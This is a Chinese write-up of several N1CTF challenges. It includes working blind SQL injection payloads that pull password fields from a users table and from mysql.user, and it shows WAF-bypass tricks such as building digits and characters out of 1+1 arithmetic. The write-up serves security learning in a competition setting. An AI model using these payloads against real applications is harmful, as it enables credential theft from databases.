【打酱油】N1CTF部分WP

简介: 周末围观神仙们打架,自己也做了几题,也是有所收获的,在这里记录一下。http://n1ctf.xctf.org.cn/N1CTF.png0x00 checkin这是一道签到题image.

周末围观神仙们打架,自己也做了几题,也是有所收获的,在这里记录一下。
http://n1ctf.xctf.org.cn/

N1CTF.png

0x00 checkin

这是一道签到题

image.png
image.png

加入IRC频道拿到base64,encode即可拿到flag

这里我在linux下使用lrssi客户端进行连接

0x01 77777

image.png
image.png
image.png

根据题目给出的信息,猜测flag就是在users表中的password字段内容。这里也给了sql的逻辑代码,其中的$points参数经过waf函数过滤。

经过一番苦战,得到以下payload,可以通过布尔注入,以points的0或1回显,拿到password字段的内容。

flag=2222&hi= and mid((select * from (SELECT password from users group by 1)a),1,1)>'0'

这里可能会有一个坑,在update操作中使用select同样一张表,会出错,需要使用子查询来避免

image.png

相关博客如下:

http://blog.csdn.net/yhl_jxy/article/details/50856619

最后结果是:
he3l3locat233

另外有大佬给出了另外一个payload,拿到的是mysql.user表里root的密码字段,同样也能过。

flag=10&hi=1111 and (if ((ord((select mid(password,1,1) from mysql.user where user like 0x726f6f74))>103),1,0))

结果是:
helloctfer2333

0x02 77777 2

image.png
image.png

题目的页面和77777没有什么差别,只是提示中flag变成了pw字段。

但是如果同样的payload去打,会发现这道题的waf已经变得更强大了,基本的and、or、&&、||、mid、=等等一大堆都被过滤了。

所以得想办法绕过waf,进行布尔注入拿points的0和1回显。

肝了很久之后发现substr、select、locate、instr等几个关键词没有被过滤。

尝试组合payload

flag=&hi=+((select if(((select substr(user(),1,1))>'a'),1,0)))

上面的测试payload是可行的,但是当substr中更改1为大于1的数字后,仍然会被过滤,这也是个绕过点。

通过上面的payload引申出如下payload,也是同样在数字的过滤问题上:

flag=&hi=+((select if(((select substr((select * from (SELECT pw from users group by 1)a),1,1))>'h'),1,0)))

最后,为了绕过大于1的数字的过滤点,得到最终如下payload:

flag=&hi=+((select if(((select substr((select * from (SELECT pw from users group by 1)a),1+1,1))>CHAR(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)),1,0)))

另外,由于locate也没被过滤,可以拿到字符在字符串中的位置,同样可以得到下面的payload:

flag=&hi=+(selectlocate(CHAR(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1),(select * from (SELECT pw from users group by 1)a)))

最终得到flag

hahah777a7aha77777aaaa

这里再放一下另外一个大佬的payload,感觉更清晰明了。

flag=a&hi=+if(( select substr( pw ,(8+6-1-1),1) from mysql.user group by pw )>'g' ,1,0)

0x03 easyphp

image.png

这题没有做出来,直接卡在了登陆页面

登陆验证是MD5的截断验证,这里只能分享一个快速得到对应明文的python小工具

http://blog.csdn.net/lacoucou/article/details/72355346

目录
相关文章
|
安全 数据安全/隐私保护
陇剑杯WP - Webshell详细题解
陇剑杯WP - Webshell详细题解
426 0
|
6月前
|
数据库
BUU [0CTF 2016]piapiapia
BUU [0CTF 2016]piapiapia
63 0
|
9月前
|
开发框架 监控 Kubernetes
CTF本地靶场搭建——GZ:CTF基础使用
GZ::CTF是一个基于ASP.NET Core的开源CTF竞赛平台,支持Docker或K8s容器部署,提供静态和动态题目类型,包括静态附件、动态附件、静态容器和动态容器,具备动态分值功能,如三血奖励和动态flag作弊检测。平台还具有实时通知、邮件验证、用户权限管理、Writeup收集、流量代理转发等功能。此外,它包含比赛管理、队伍管理、用户管理等多个管理模块,适合举办和参与网络安全竞赛。
|
9月前
|
Ubuntu 网络安全 开发者
CTF本地靶场搭建——GZ:CTF安装
GZCTF是一个开源的网络安全竞技平台,由GZTimeWalker维护,提供环境供爱好者和专业人士通过解决CTF题目提升技能。本文档介绍了在Ubuntu 20.04上部署GZCTF的步骤,包括安装操作系统、配置清华镜像源、更新软件、安装Docker和docker-compose,以及根据GZCTF文档创建配置文件并启动服务。完成部署后,用户可在浏览器中看到GZCTF平台。
|
9月前
|
PHP
[CTF]ctfshow php特性
[CTF]ctfshow php特性
|
9月前
|
应用服务中间件 PHP nginx
[CTF]ctfshow文件包含
[CTF]ctfshow文件包含
|
9月前
|
前端开发 应用服务中间件 PHP
[CTF]ctfshow 文件上传
[CTF]ctfshow 文件上传
|
开发工具 git
zsteg安装及CTF打野wp
zsteg安装及CTF打野wp
431 0
|
SQL 安全 PHP
第二届SWCTF部分WP3
第二届SWCTF部分WP
97 0